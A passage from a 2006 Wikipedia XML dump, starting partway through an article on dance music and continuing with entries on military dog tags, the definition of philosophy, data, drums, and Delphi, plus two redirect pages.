Dance music includes a huge variety of music, including traditional dance music such as [[Irish traditional music]], [[waltz]]es, [[rock and roll]], [[country music]] and [[Tango music|tango]]s. An example of traditional dance music in the United States is the [[old-time music]] played at [[square dance]]s and [[contra dance]]s.

In the [[Baroque music|Baroque]] period, the major dance styles were [[noble court]] dances, which were often derived from folk dances.  Examples include the [[allemande]], [[courante]], [[sarabande]], and [[gigue]].

In the [[Classical music era]], the [[minuet]] gained dominance, usually as a third [[movement (music)|movement]] in four-movement non-vocal works such as [[sonata (music)|sonatas]], [[string quartet]]s, and [[symphony|symphonies]].  The [[waltz]] also arose later in the Classical era, as the minuet evolved into the [[scherzo]] (literally, &quot;joke&quot;; a faster-paced minuet).  Both remained part of the [[Romantic music]] period, which also saw the rise of various other dance forms like the [[barcarolle]], [[mazurka]], and [[polonaise]].

The [[20th century]] saw the rise of more dance forms, often [[jazz]]-based or -related, such as the [[ragtime]].  As 20th century classical music headed toward more dissonant and non-traditional directions with [[tonality]], popular genres began to take up the need for dance music, and produced numerous duple and quadruple dance forms.

From the late [[1970s]], the term ''dance music'' has come to also refer (in the context of [[nightclub]]s) more specifically to [[electronic music]] offshoots of [[rock and roll]], such as [[disco]], [[house music|house]], [[techno music|techno]] and [[trance music|trance]].  Generally, the difference between a disco, or any dance song, and a rock or general popular song is that in dance music the bass hits &quot;[[four to the floor]]&quot; at least once a beat (which in 4/4 time is 4 beats per measure), while in rock the bass hits on one and three and lets the snare take the lead on two and four (Michaels, 1990).

==Genres==

Dance music works usually bear the name of the corresponding dance, e.g. [[waltz|waltzes]], the [[Tango music|tango]], the [[bolero]], the [[can-can]], [[minuet|minuets]], [[salsa (music)|salsa]], various kinds of [[jig|jigs]] and the [[breakdown (music)|breakdown]]. Other dance forms include [[contradance]], the [[merengue (music)|merengue]], the [[cha-cha-cha]]. Often it is difficult to know whether the name of the music came first or the name of the dance. See [[:category:Musical genres]] for more.

==See also==
*[[Dance (music)|Dance as form of musical composition]]
*[[List of ballroom and social dance albums]]
*[[List of dance party albums]]
*[[VFunk]]

==References==
*Michaels, Mark (1990). ''The Billboard Book of Rock Arranging''. ISBN 0823075370

[[Category:Dance music]]
[[Category:Radio formats]]
[[Category:Popular music]]


[[de:Tanzmusik]]
[[es:Dance]]</text>
    </revision>
  </page>
  <page>
    <title>Dog Tag</title>
    <id>7945</id>
    <revision>
      <id>15905978</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Dog tag]]
</text>
    </revision>
  </page>
  <page>
    <title>Dog tag (identifier)</title>
    <id>7946</id>
    <revision>
      <id>41296332</id>
      <timestamp>2006-02-26T10:10:31Z</timestamp>
      <contributor>
        <username>Los688</username>
        <id>294540</id>
      </contributor>
      <comment>ja</comment>
      <text xml:space="preserve">[[Image:Dog tags.jpg|thumb|250px|Dog tags of a U.S. Army soldier during World War II]]
:''For the tag worn by dogs, see [[dog tag]].''

A '''dog tag''' is the colloquial name for the identification tags worn by military personnel,  because of their resemblance to actual [[dog tag]]s.  In the US the name, military ID number, blood type, and religion are stamped on a small piece of [[metal]] that is worn on a metal chain around the neck. During World War II, certain medical information such as the date of the soldier's last tetanus shot was also included on the tag.  The tag is primarily used for the identification of dead and wounded.  In the event the member has a medical condition that requires special attention, an additional red tag with the pertinent information is issued and worn with the dog tags.

Wearing of the tag is required at all times by soldiers in the field. It may contain two copies of the information and be designed to break easily into two pieces. This allows half the tag to be collected for notification while the other half remains with the body when battle conditions do not allow the casualty to be immediately recovered. Alternately, a two identical tags are issued. One is worn on a long chain around the neck; the second on a much smaller chain attached to the first chain. In the event the wearer is killed the second tag is collected and the first remains with the body.

==Dog tags in history==
Dog tags were worn at least as far back as ancient [[Sparta]].

During the [[American Civil War]] of [[1861]]-[[1865]], some soldiers pinned paper notes with their name and home address to the backs of their coats. Other soldiers stencilled identification on their knapsacks or scratched it in the soft lead backing of the Army belt buckle. 

Manufacturers of identification badges recognized a market and began advertising in periodicals. Their pins were usually shaped to suggest a branch of service and engraved with the soldier's name and unit. Machine-stamped tags were also made of [[brass]] or [[lead]] with a hole and usually had (on one side) an eagle or shield and such phrases as &quot;War for the Union&quot; or &quot;Liberty, Union, and Equality.&quot;  The other side had the soldier's name and unit and sometimes a list of [[battle]]s in which he had participated.

A [[New York]]er named John Kennedy wrote to the [[United States Army|U.S. Army]] in [[1862]], offering to furnish discs for all officers and men in the Federal Army, enclosing a design for the disc. The National Archives now has the letter along with the reply, a summary refusal without explanation.

In the [[Spanish-American War]], [[soldier]]s purchased crude stamped identification tags; sometimes with misleading information.

The [[Prussia|Prussian]] Army issued identification tags for its troops at the beginning of the [[Franco-Prussian War]] in 1870.

The U.S. Army first authorized identification tags in War Department General Order No. 204, dated [[December 20]], [[1906]], which essentially prescribes the Kennedy identification tag:

:&quot;An aluminum identification tag, the size of a silver half dollar and of suitable thickness, stamped with the name, [[military rank|rank]], [[company (military unit)|company]], [[regiment]], or [[corps]] of the wearer, will be worn by each officer and enlisted man of the Army whenever the field kit is worn, the tag to be suspended from the neck, underneath the clothing, by a cord or thong passed through a small hole in the tab. It is prescribed as a part of the uniform and when not worn as directed herein will be habitually kept in the possession of the owner. The tag will be issued by the Quartermaster's Department gratuitously to enlisted men and at cost price to officers...&quot;

The Army changed regulations on [[July 6]], [[1916]], so that all men were issued two tags: one to stay with the body and the other to go to the person in charge of the burial for record-keeping purposes. In [[1918]], the Army adopted and allotted the serial number system, and name and serial numbers were ordered stamped on the identification tags of all enlisted men. (Serial number 1 was assigned to enlisted man Arthur B. Crean of Chicago in the course of his fifth enlistment period.) In [[1969]] the Army converted to the [[Social Security number]] for personnel identification.

There is a recurring myth about WWII dog tags. There was a notch cut into the side of the tag which held the tab in place on the embossing machine. It has been rumored that the notch's purpose was so that if a soldier found one of his comrades on the battlefield, he could take on tag to the commanding officer and kick the other between the teeth of the soldier to ensure that the tag would remain with the body and be identifed.  According to Snopes, the notch is there simply to hold the tag in place on the embossing machine.

In the [[1950s]], at the height of fears about possible [[nuclear war]], all [[New York City]] public school pupils were issued dog tags.

In more modern battles, like the [[Vietnam War]], American soldiers were required to place rubber silencers on their dog tags so the enemy would not hear the metallic clanking. 

Dog tags are traditionally part of the makeshift battlefield memorials soldiers and marines create to their fallen comrades. The casualty's rifle with [[bayonet]] affixed is stood vertically atop the empty boots, with the helmet over the stock of the rifle. The dog tags are then hung from the handle or trigger guard of the rifle.

Recently, the army stopped calling the tags &quot;Dog tags&quot; and adopted the more civilized &quot;I.D tags&quot;.  It was rumored that, in the 1990s, some enlisted trainees complained that the term &quot;dog tag&quot; was offensive, but this has not been confirmed. 

[[Category:Personal identification]]
[[Category:Military life]]

[[de:Erkennungsmarke]]
[[pl:Nie&amp;#347;miertelnik]]
[[ja:ドッグタグ]]</text>
    </revision>
  </page>
  <page>
    <title>Definition of philosophy</title>
    <id>7947</id>
    <revision>
      <id>40589140</id>
      <timestamp>2006-02-21T17:42:16Z</timestamp>
      <contributor>
        <username>KSchutte</username>
        <id>295931</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''definition of philosophy''' is famously a difficult matter, and indeed many definitions of [[philosophy]] begin by stating that it is famously difficult.  Nonetheless, a review of [[Definition_of_philosophy#References|standard reference works]] suggests that there is a broad agreement among the philosophers who write these reference works, as to what the definition actually is.  
This article lists the main points of agreement.

#Philosophy is difficult to define.  The ''Oxford Companion to Philosophy'' ({{fn|OCP}}) says that most interesting definitions of philosophy are controversial. ''Philosophy: The Basics'' ({{fn|PTB}}) says it is &quot;notoriously difficult&quot;.  ''Mastering Philosophy'' {{fn|MP}} says there is &quot;no straightforward definition&quot;.
#''Method'': The ''Penguin Dictionary of Philosophy'' ({{fn|PDP}}) says the method of philosophy is rational enquiry, or enquiry guided by the canons of rationality. OCP says it is explicitly rationally critical thinking 'of a more or less systematic kind'. The ''Collins English Dictionary'' ({{fn|CED}}) mentions the use of 'rational argument'. ''Modern Thomistic Philosophy'' ({{fn|MTP}}) says 'natural light of reason'. PTB says that the most distinctive feature of philosophy is its use of logical argument.  There is some agreement, therefore, that the philosophical method is rational, systematic and critical, or characterised by logical argument.
#''Intrinsic Character'':
#*Philosophy is distinct from [[Empiricism|empirical science]] and [[Religion|religion]]. The ''Penguin Encyclopedia'' ({{fn|PE}}) says that philosophy differs from science in that its questions cannot be answered empirically, ''i.e.'' by observation or experiment, and from religion, in that its purpose is entirely intellectual, and allows no place for faith or [[Revelation|revelation]].  MTP says philosophy does not try to answer questions by appeal to revelation, myth or religious knowledge of any kind, but uses reason, &quot;without reference to sensible observation and experiments&quot;.
#*'Second-order' nature: PDP says it is a &quot;common view&quot; that philosophy enquiry is second order, having concepts, theories and presupposition as its subject matter.  OCP says it is &quot;thinking about thinking&quot;, and that philosophy has a &quot;generally second-order character&quot;, being reflective thought about particular kinds of thinking.  ODP says that in philosophy we study rather than use the concepts that structure our thinking, and that this is second-order reflection.  TYP also uses the expression 'second-order'.
#*Misleading etymology:  Only PE gives &quot;Love of wisdom&quot; as a possible meaning.  PTB says the etymology is &quot;not much help&quot;.  Other works mention the ''etymology'' without saying that it is the ''meaning''.
#*Critical nature:  OCP says philosophy is critical thinking.  PTB says that philosophy examines the beliefs we take for granted.  ERHP says &quot;in English-speaking philosophy (and much European philosophy too) you are taught not to take anything on trust, particularly if it seems obvious and undeniable&quot;.
#*What it is not: PTB says philosophy is NOT mysticism or about outlook on life.
#''Subject matter'':  PDP says the subject matter of philosophy is &quot;the most fundamental and general concepts and principles involved in thought, action and reality&quot;.  PE says &quot;the most general questions about our universe and our place in it&quot;.  MTP: The &quot;absolutely fundamental reason of everything it investigates&quot; or &quot;the fundamental reasons or causes of all things&quot;.  CED lists the branches of p (see below).  ODP says it is the investigation of the most general and abstract features of the world and the categories with which we think, in order to &quot;lay bare their foundations and presuppositions&quot;.  MP says it is the study of ultimate reality.  TYP says that philosophy is about 'the big questions'.
#''Branches'':  These are metaphysics (PE, OCP, MTP, CED, IP) epistemology (CED, MTP, OCP, IP), ethics (OCP, MTP, IP, CED), logic or semantics (PE, CED), cosmology (MTP), theory of mind (MTP), political philosophy (IP), aesthetics (IP). Hence there is a broad agreement that metaphysics, epistemology and ethics and possibly logic are the main branches of philosophy.
#''Goals'':  PDP says the goals of philosophy are &quot;the disinterested pursuit of knowledge for its own sake&quot;.  MTP says &quot;to discover the absolutely fundamental reason of everything it investigates&quot;.  CED says &quot;making explicit the nature and significance of ordinary and scientific beliefs&quot;.  MP says the purpose of philosophy is to unify and transcend the insights given by science and religion.

==References==

The names of authors are given only where the book is not a reference work.

* An Editor Recalls Some Hopeless Papers, by Wilfrid Hodges (from ''The Bulletin of Symbolic Logic'' Volume 4, Number 1, March 1998 (ERHP)
* ''[[Collins English Dictionary]]'' (CED)
* ''[[Introducing Philosophy]]'' (IP)
* ''[[Mastering Philosophy]]'' ({{fnb|MP}}), by [[Anthony Harrison-Birket]] 
* ''[[Modern Thomistic Philosophy]]'' [[R. Phillips]] (MTP)
* ''[[Oxford Companion to Philosophy]]'' ({{fnb|OCP}})
* ''[[Oxford Dictionary of Philosophy]]'' (ODP)
* ''[[Penguin Dictionary of Philosophy]]'' ({{fnb|PDP}})
* ''[[Penguin Encyclopedia]]'' (PE), 
* ''[[Philosophy Made Simple]]'' (PMS)
* ''[[Philosophy: The Basics]]'' ({{fnb|PTB}}), by [[Nigel Warburton]] 
* ''[[Teach Yourself Philosophy]]'' (TYP)</text>
    </revision>
  </page>
  <page>
    <title>Data</title>
    <id>7948</id>
    <revision>
      <id>41590444</id>
      <timestamp>2006-02-28T09:49:20Z</timestamp>
      <contributor>
        <username>TuukkaH</username>
        <id>415989</id>
      </contributor>
      <comment>/* Uses of ''data'' in computing */ link to main article</comment>
      <text xml:space="preserve">{{dablink|For other senses of this word, see [[data (disambiguation)]].}}
'''Data''' is the [[plural]] of ''datum''. 
A '''datum''' is a ''[[statement]] accepted at [[face value]]'' (a &quot;given&quot;).
A large class of practically important statements are [[measurement]]s or [[observation]]s of a [[variable]].
Such statements may comprise numbers, words, or images.

==Etymology==
The word ''data'' is the plural of [[Latin]] ''datum'', neuter past participle of ''dare'', &quot;to give&quot;, hence &quot;something given&quot;. The [[past participle]] of &quot;to give&quot; has been used for millennia, in the sense of a statement accepted at face value; one of the works of [[Euclid]], circa 300 BC, was the ''Dedomena'' (in Latin, ''Data''). In discussions of problems in [[geometry]], [[mathematics]], [[engineering]], and so on, the terms ''givens'' and ''data'' are used interchangeably. Such usage is the origin of ''data'' as a concept in [[computer science]]: ''data'' are numbers, words, images, etc., accepted as they stand.

==Usage in English==
In [[English language| English]], the word ''datum'' is still used in the general sense of &quot;something given&quot;, and more specifically in [[cartography]], [[geography]], [[geology]], and [[technical drawing|drafting]] to mean a reference point, reference line, or reference surface. The Latin plural ''data'' is also used as a plural in English, but it is also commonly treated as a [[mass noun]] and used in the [[singular]]. For example, &quot;This is all the data from the experiment&quot;.  This usage is inconsistent with the rules of Latin grammar, which would suggest, &quot;These are the data ...&quot;; each measurement or result is a single ''datum''. However, given the variety and irregularity of [[English plural]] constructions, there seem to be no grounds for arguing that ''data'' is incorrect as a singular mass noun in English.

==Uses of ''data'' in computing==
{{main|Data (computing)}}

''Raw data'' are [[number]]s, [[character (computing)|characters]], [[image]]s or other outputs from devices to convert physical quantities into symbols, in a very broad sense. Such data are typically further [[process|processed]] by a human or [[input]] into a [[computer]], [[Computer storage|stored]] and processed there, or transmitted ([[output]]) to another human or computer. ''Raw data'' is a relative term; data processing commonly occurs by stages, and the &quot;processed data&quot; from one stage may be considered the &quot;raw data&quot; of the next.

Mechanical computing devices are classified according to the means by which they represent data. An [[analog computer]] represents a datum as a voltage, distance, position, or other physical quantity. A [[digital computer]] represents a datum as a sequence of symbols drawn from a fixed [[alphabet]]. The most common digital computers use a binary alphabet, that is, an alphabet of two characters, typically denoted &quot;0&quot; and &quot;1&quot;. More familiar representations, such as numbers or letters, are then constructed from the binary alphabet.

Some special forms of data are distinguished. A [[computer program]] is a collection of data, which can be interpreted as instructions. Most computer languages make a distinction between programs and the other data on which programs operate, but in some languages, notably [[Lisp programming language|Lisp]] and similar languages, programs are essentially indistinguishable from other data. It is also useful to distinguish [[Metadata (computing)|metadata]], that is, a description of other data. A similar, earlier term for metadata is &quot;ancillary data.&quot;  The prototypical example of metadata is the library catalog, which is a description of the contents of books.

==Meaning of data, information and knowledge==
The terms [[information]] and [[knowledge]] are frequently used for overlapping concepts. These three concepts are ill or ambiguously defined in the subject matter literature &lt;!--Anyone know what subject matter this is referring to?  It may need clarifying. User:Joeblakesley--&gt;. However, In recent interdisciplinary research a few independent specializations of these terms have been proposed.

See [[Information#Information is not data | Information: Information is not data]] for the commonly made distinction between ''information'' and ''data''.

==See also== 
*[[Data management]]
*[[Data mining]]
*[[Data modeling]]
*[[Data processing]]
*[[Data recovery]]
*[[Data remanence]] and data destruction techniques
*[[Data warehouse]]
*[[Database]]
*[[Datasheet]]
*[[Data (Star Trek)]]
*[[Statistics]]
*[[Metadata]]

== References ==
{{FOLDOC}}
* http://www.answers.com/topic/data - discussion of the correctness of using data as a singular or plural (&quot;data is&quot; or &quot;data are&quot;)

[[Category:Computer data]]
[[Category:Data management]]

[[af:Data]]
[[cs:Data]]
[[da:Data (datalogi)]]
[[de:Daten]]
[[es:Dato]]
[[eo:Dateno]]
[[fa:داده]]
[[fr:Donnée]]
[[ko:데이터]]
[[id:Data]]
[[it:Dato]]
[[he:נתונים]]
[[hu:Adat (számítástechnika)]]
[[mk:Податок]]
[[nl:Data]]
[[ja:データ]]
[[pl:Dane]]
[[pt:Dados]]
[[ru:Данные]]
[[simple:Data]]
[[sl:Podatek]]
[[sr:Податак]]
[[su:Data]]
[[fi:Data]]
[[sv:Data]]
[[tl:Datos]]
[[th:ข้อมูล]]
[[zh:数据]]</text>
    </revision>
  </page>
  <page>
    <title>Didjeridu</title>
    <id>7949</id>
    <revision>
      <id>15905982</id>
      <timestamp>2002-05-27T13:56:16Z</timestamp>
      <contributor>
        <username>Dze27</username>
        <id>164</id>
      </contributor>
      <comment>redirect to longer article</comment>
      <text xml:space="preserve">#REDIRECT [[Didgeridoo]]
</text>
    </revision>
  </page>
  <page>
    <title>Drum</title>
    <id>7950</id>
    <revision>
      <id>42025387</id>
      <timestamp>2006-03-03T07:59:47Z</timestamp>
      <contributor>
        <ip>201.141.44.51</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:DrumMozartRegiment.jpg|thumb|Drum carried by John Unger, Company B, 40th Regiment New York Veteran Volunteer Infantry Mozart Regiment, December 20, 1863 ]]
[[Image:Drums for sale at the National Museum of the American Indian.jpg|thumb|right|250px|Several [[Amerindians|American Indian]]-style drums for sale at the [[National Museum of the American Indian]].]]

A '''drum''' is a [[musical instrument]] in the [[Percussion instrument|percussion]] family , technically classified as a [[membranophone]]. Drums consist of at least one [[membrane]], called a ''[[drumhead]]'' or ''drumskin'',  that is stretched over a shell and struck, either directly with parts of a player's body, or with some sort of implement such as a [[drumstick]], to produce [[sound]]. Drums are among the world's oldest and most ubiquitous musical instruments, and the basic design has been virtually unchanged for hundreds of years.

The shell almost invariably has a circular opening over which the drumhead is stretched, but the shape of the remainder of the shell varies widely. In the western musical tradition, the most usual shape is a [[cylinder]], although [[timpani]] for example use [[bowl]]-shaped shells. Other shapes include truncated cones ([[bongo drums]]) and joined truncated cones ([[talking drum]]).

Drums with cylindrical shells can be open at one end (as in the [[timbales]]) or, more commonly in the Western tradition, they can have another drum head. Sometimes they have a solid shell with no holes in at all though this is rare. It is usual for a drum to have some sort of hole in to let air move through the drum when it is struck. This gives a louder and longer ring to the notes of the drum, so drums with two heads covering both ends of a tubular shell often have a small hole halfway between the 2 drumheads. The membrane is struck, either with the hand or with a [[drumstick]], and the shell forms a resonating chamber for the resulting sound.  The [[sound of a drum]] depends on several variables including shell shape, size, thickness of shell, materials of the shell, type of drumhead, tension of the drumhead, position of the drum, location, and how it is struck.

In lots of [[popular music]] and [[jazz]], ''drums''  usually refers to a [[drum kit]] or set of drums, and ''[[drummer]]'' to the band member or person who plays them. Drums are also played by percussionists whose skills can be called for in all areas of music from Classical to Heavy Rock &amp; all areas in between.

In the past, drums were used as a means of [[communication]] and not just for their musical qualities. - see [[drum (communication)]].

==See also==

* [[double drumming]]
* [[drum and bass]]
* [[drum kit]]
* [[drum machine]]
* [[musical instrument]]
* [[Percussive Arts Society]]
* [[hearing the shape of a drum]]
* [[drum beat]]
* [[drum replacement]]

==External links==
{{Spoken Wikipedia|Drum.ogg|2005-04-13}}
* [http://www.drumtechniques.com Dum Lesson Videos] - Downloadable instructional drum video 
lessons.
* [http://www.drum-forum.com Drum Forum]
* [http://www.drummeressentials.com DrummerEssentials.com]- Free 45+ Page Drum eBook 
* [http://www.drumming.com Drumming.com]- Over 2000 free drum lessons, tips, tabs, and links.
* [http://www.drumsdatabase.com Drums Database]: A large database with numerous drum lessons and drumtabs. 
* [http://www.drumtopia.com/ Drumtopia Drum News] has drumming news, drum tab search and a directory of drum resources.
* [http://www.drummerworld.com/ Drummer World]: A large collection of online drum clinics as well as drum videos.

[[Category:Drums|*]]

[[da:Tromme]]
[[de:Trommel]]
[[eo:Tamburo]]
[[es:Tambor]]
[[fi:Rumpu]]
[[fr:Tambour (musique)]]
[[he:תוף]]
[[is:Trommur]]
[[it:Tamburo]]
[[ja:太鼓]]
[[nl:Trommel]]
[[nn:Tromme]]
[[no:Tromme]]
[[pl:Bęben]]
[[pt:Tambor]]
[[sl:Boben]]
[[sv:Trumma]]
[[zh:鼓]]</text>
    </revision>
  </page>
  <page>
    <title>Delphi</title>
    <id>7951</id>
    <revision>
      <id>42068175</id>
      <timestamp>2006-03-03T16:23:01Z</timestamp>
      <contributor>
        <username>Ollj</username>
        <id>733710</id>
      </contributor>
      <minor />
      <comment>/* Oracle */</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Delphi amphitheater from above dsc06297.jpg|250px|thumb|The theatre, seen from above]]

'''Delphi''' ([[Greek language|Greek]] Δελφοί — ''Delphoi''; see also [[List of traditional Greek place names]]) is an archaeological site and a modern town in [[Greece]]. In ancient times it was the site of the [[Delphic Sibyl]], dedicated to the god [[Apollo (god)|Apollo]]. Delphi was revered throughout the Greek world as the site of the ''ομφαλός ([[omphalos]])'' stone, the centre of the universe. In the inner ''εστία  ([[hestia]])'', or hearth, of the Temple of [[Apollo|Delphic Apollo]] (''Απόλλων Δελφίνιος — Apollon Delphinios''), an άσβεστος φλόγα ([[eternal flame]]) burned. After the [[battle of Plataea]], the Greek cities extinguished their fires and brought new fire from the hearth of Greece, at Delphi; in the foundation stories of several Greek colonies, the founding colonists were first dedicated at Delphi (Burkert, 1985, pp. 61, 84).

==Location==

Delphi is located in a plateau on the side of [[Parnassus|Mt. Parnassus]]. This semicircular spur is known as [[Phaedriades]]; it overlooks the [[Pleistos Valley]].  Southwest of Delphi, about 15 km away, is the harbor-city of [[Kirrha]] on the [[Corinthian Gulf]].

==[[Apollo]]==

[[Image:Temple of Apollo at Delphi from below with ivy.JPG|250px|right|thumb|The Temple of Apollo, seen from below]]

[[Image:Ancient athletics stadium at Delphi.JPG|250px|thumb|View of the stadium of the Delphi sanctuary, used for the [[Pythian Games]]. The stone steps on the right were added under the Romans.]]

The name ''Delphoi'' is connected with δελφός ''delphus'' &quot;womb&quot; and may indicate archaic veneration of an [[Earth Goddess]] at the site. Apollo is connected with the site by his [[epithet]] Δελφίνιος ''Delphinios'', &quot;the Delphinian&quot;, i.e. either &quot;the one of Delphi&quot;, or &quot;the one of the womb&quot;. The epithet is connected with [[dolphins]] (the &quot;womb-fish&quot;) in the [[Homeric hymns|Homeric ''Hymn to Apollo'']] Εις Απόλλωνα Πύθιον, 400), telling how Apollo first came to Delphi in the shape of a dolphin, carrying [[Crete|Cretan]] priests on his back.

Another legend held that Apollo walked to Delphi from the north and stopped at [[Tempe]], a city in [[Thessaly]] to pick laurel, a plant sacred to him. In commemoration of this legend, the winners at the [[Pythian Games]] received a laurel wreath picked in Tempe.

Delphi was the site of a major temple to [[Phoebus Apollo]], as well as the [[Pythian Games]] and a famous [[oracle]]. Even in Roman times hundreds of votive statues remained, described by [[Pliny the Younger]] and seen by [[Pausanias (geographer)|Pausanias]].

When young, [[Apollo]] killed the chthonic [[Serpent (symbolism)|serpent]] [[Python (mythology)|Python]], which lived beside the [[Castalian Spring]], according to some because Python had attempted to rape [[Leto]] while she was pregnant with Apollo and [[Artemis]]. This was the spring which emitted vapors that caused the [[Oracle]] at Delphi to give her prophesies. Apollo killed Python but had to be punished for it, since Python was a child of [[Gaia (mythology)|Gaia]]. The shrine dedicated to Apollo was probably originally dedicated to Gaia and then [[Poseidon]].

[[Erwin Rohde]] wrote that the Python was an earth spirit, who was conquered by Apollo, and buried under the Omphalos, and that it is a case of one god setting up his temple on the grave of another. {{rf|1|Rohde1}}

The oracle at that time predicted the future based on the lapping water and leaves rustling in the trees.

[[Image:Delphi charioteer front DSC06255.JPG|right|150px|thumb|The Pythian Games comprised a [[chariot]] race, thus this magnificent statue, the ''[[Charioteer of Delphi]]''.]]

==Oracle==

{{Main|Delphic Sibyl}}

The biggest religious phenomenon during this era, which made the biggest impact on traditions, was undoubtedly the oracle at the sanctuary of Apollo at Delphi on the southern slopes of Mount Parnassos in Central Greece. In the last quarter of the [[8th Century BC]] we see a steady increase of artifacts found at the settlement site in Delphi. Pottery and bronze work and tripod dedications continue in a steady stream, in comparison to Olympia. Neither the range of objects nor the presence of prestigious dedications proves that Delphi was a focus of attention for worshippers of a wide range, but the strong representation of high value goods are found in no other mainland sanctuary, certainly encourages that view. 

The first [[oracle]] at Delphi was commonly known as [[Delphic Sibyl|Sibyl]] or Pythia, though her name was [[Herophile]]. She sang her predictions, which she received from Gaia. Later, &quot;[[Sibyl]]&quot; became a title given to whichever priestess manned the oracle at the time. The Sibyl sat on the [[Sibylline Rock]], breathing in vapors from the ground {{rf|2|note2}} and gaining her often puzzling predictions from that. [[Pausanias (geographer)|Pausanias]] claimed that the Sibyl was &quot;born between man and goddess, daughter of sea monsters and an immortal nymph&quot;. Others said she was sister or daughter to Apollo. Still others claimed the Sibyl received her powers from Gaia originally, who passed the oracle to [[Themis]], who passed it to [[Phoebe (mythology)|Phoebe]].

This oracle exerted considerable influence across the country, and was consulted before all major undertakings: wars, the founding of colonies, and so forth. She also was respected by the semi-Hellenic countries around the Greek world, such as [[Lydia]], [[Caria]], and even [[Egypt]]. [[Croesus]] of Lydia consulted Delphi before attacking Persia, and according to [[Herodotus]] received the answer &quot;if you do, you will destroy a great empire.&quot; Croesus found the response favorable and attacked, and was utterly overthrown (resulting, of course, in the destruction of his own empire).

The oracle is also said to have proclaimed [[Socrates]] the wisest man in Greece, to which Socrates said that if so, this was because he alone was aware of his own ignorance. This claim is related to one of the most famous mottos of Delphi, which Socrates said he learned there, ''[[Know thyself|Gnothi Seauton]]'' (Γνώθι Σεαυτόν): &quot;know thyself&quot;. Another famous motto of Delphi is ''Meden Agan'' (Μηδέν Άγαν): &quot;nothing in excess&quot;.

In the [[3rd century]] A.D., the oracle (perhaps bribed) declared that the god would no longer speak there.

The temple to Apollo at Delphi was built by [[Trophonius]] and [[Agamedes]].

[[Image:Treasury of Athens at Delphi.JPG|thumb|The Treasury of [[Athens]], built to commemorate their victory at the [[Battle of Marathon]]]]

Other archaeologists believe that the oracle also inhaled fumes of burning bay leaves.

==Treasuries==

From the entrance of the site, continuing up the slope almost to the temple itself, is a large number of [[votive deposit|votive]] statues, and numerous treasuries.  These were built by the various states &amp;ndash; those overseas as well as those on the mainland &amp;ndash; to commemorate victories and to thank the oracle for advice important to those victories.  The most impressive is the now-restored Treasury of [[Athens]], built to commemorate the Athenians' victory at the [[Battle of Marathon]].  The Athenians had previously been given the advice by the oracle to put their faith in their &quot;wooden walls&quot; &amp;ndash; taking this advice to mean their navy, they won a famous battle at [[Battle of Salamis|Salamis]].  Another impressive treasury that exists on the site was dedicated by the city of [[Siphnos]], who had ammassed great wealth from their silver and gold mines and so they dedicated the [[Siphnian Treasury]].

==Tholos==

[[Image:Delphi_145.jpg|thumb|The Tholos at the sanctuary of Athena Pronaia]]

The Tholos at the sanctuary of Athena Pronaia is a circular building that was constructed between 380 and 360 B.C.  It consisted of 20 Doric columns arranged with an exterior diamater of 14.76 meters, with 10 Corinthian columns in the interior.  The Tholos is located approximately a half-mile (800 m) from the main ruins at Delphi.  Three of the Doric colums have been restored, making it the most popular site at Delphi for tourists to take photographs.

==Modern Delphi==

The modern Delphi or Delfi or Delfoi is situated west of the archaeological site.  It is passed by a major highway linking Amfissa along with Itea and Arachova.  The two main streets are each one-way and narrow.  Delphi also has a school, a lyceum and a square (''[[plateia]]'').  The communities include [[Chrysso (Phokida), Greece|Chrysso]] which in ancient times was Crissa.

==See also==
*[[Greek art]]

==Footnotes==
* {{ent|1|Rohde1}} cf. Rohde, ''Psyche'', p.97
* {{ent|2|note2}} After investigating the site, [[archeology|archeologists]] were convinced that these vapours are only a myth, as no evidence for them could be found, and &amp;mdash; so the then standard opinion in [[geology]] &amp;mdash; gaseous emissions from rock only occur in conjunction with [[volcano|volcanic]] activity. However, recent [[geology|geological]] research indicates that the site of the oracle shows young [[geological fault]]s, and it seems plausible that these emitted in ancient times light [[hydrocarbon]] [[gas]]es, possibly [[ethylene]], from [[bitumen|bituminous]] [[limestone]] which do have an [[intoxicating]] effect. (de Boer et al., Geology '''29''' (2001) pp. 707; see e.g. [http://www.geolsoc.org.uk/template.cfm?name=DelphiHigh here] for a popular science coverage)

==References==
*[[Walter Burkert|Burkert, Walter]], ''Greek Religion'' 1985.
*Farnell, Lewis Richard, ''The Cults of the Greek States'', 1896.
*Goodrich, Norma Lorre, ''Priestesses'', 1990.
*Guthrie, William Keith Chambers, ''The Greeks and their Gods'', 1955.
*[[Manly Palmer Hall]], ''The Secret Teachings of All Ages'', 1928. [http://www.sacred-texts.com/eso/sta/sta14.htm Ch. 14 cf. Greek Oracles],[http://www.sacred-texts.com/eso/sta/index.htm www], [http://www.prs.org/secret.htm PRS]
*[http://omacl.org/Hesiod/hymns.html Homeric Hymn to Pythian Apollo]
*[[Erwin Rohde|Rohde, Erwin]], ''Psyche'', 1925.

==External links==

{{commonscat|Delphi}}

===General===
*[http://www.fokida.gr/en/dim_delfon.html Homepage of the modern municipality] (in English or Greek)
*[http://www.culture.gr/2/21/211/21110a/e211ja01.html Hellenic Ministry of Culture: Delphi]
*[http://www.isidore-of-seville.com/oracles/ The Oracle of Delphi and Ancient Oracles], annotated guide edited by Tim Spalding
*[http://www.travel-to-arachova.com/delphi.php Delphi guide] 
*[http://hellas.teipir.gr/prefectures/greek/Fokidas/Delfoi.htm Delphi] (in Greek)
*[http://www.moonspeaker.ca/Delphi/delphi.html C. Osborne , &quot;A Short detour to Delphi and the Sibyls&quot;]
*[http://www.livius.org/a/greece/delphi/delphi.html Livius Picture Archive: Delphi]
*[http://www.theosophy-nw.org/theosnw/world/med/me-elo.htm Eloise Hart, &quot;The Delphic oracle&quot;]
*[http://psychicinvestigator.com/demo/DELPHI.htm &quot;The Delphic oracle&quot;]
*[http://www.arounparnassos.com Ancient Delphi and Mount Parnassos Guide]

====Geology of Delphi====
*[http://www.sciam.com/article.cfm?articleID=0009BD34-398C-1F0A-97AE80A84189EEDF John R. Hale, et al., &quot;Questioning the Delphic Oracle: When science meets religion at this ancient Greek site, the two turn out to be on better terms than scholars had originally thought&quot;, in ''Scientific American'' August 2003]
